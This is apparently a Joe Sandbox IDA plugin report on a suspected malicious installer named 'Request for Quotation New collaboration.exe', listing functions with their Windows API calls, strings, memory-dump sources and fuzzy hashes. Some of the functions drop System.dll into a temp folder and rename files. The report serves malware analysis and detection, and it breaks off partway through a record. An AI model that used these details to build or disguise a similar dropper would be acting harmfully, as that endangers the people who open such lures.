open, xrefs: 004044DB
Call, xrefs: 004044A9

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$Call$N$open
API String ID: 3615053054-4184941720
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\Request for Quotation New collaboration.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

p]B, xrefs: 00405C0D
%ls=%ls, xrefs: 00405C76
NUL, xrefs: 00405C12
[Rename], xrefs: 00405CEA, 00405CFC
peB, xrefs: 00405C57

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 1000248D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,76F8FFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

s<u, xrefs: 100024E1

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID: s<u
API String ID: 2435812281-779365171
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 0040617E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 00406208

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040617F, 00406184
"C:\Users\user\Desktop\Request for Quotation New collaboration.exe", xrefs: 004061C2
*?|<>/":, xrefs: 004061D0

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Request for Quotation New collaboration.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4215291827
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nso7880.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nso7880.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C
8, xrefs: 0040250C
C:\Users\user\AppData\Local\Temp\nso7880.tmp, xrefs: 00402528

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user\AppData\Local\Temp\nso7880.tmp$C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll
API String ID: 1453599865-3498465927
Opcode ID: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(0001E48B,00000064,00025527), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

verifying installer: %d%%, xrefs: 00402CC6
unpacking data: %d%%, xrefs: 00402CBF, 00402CCF

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
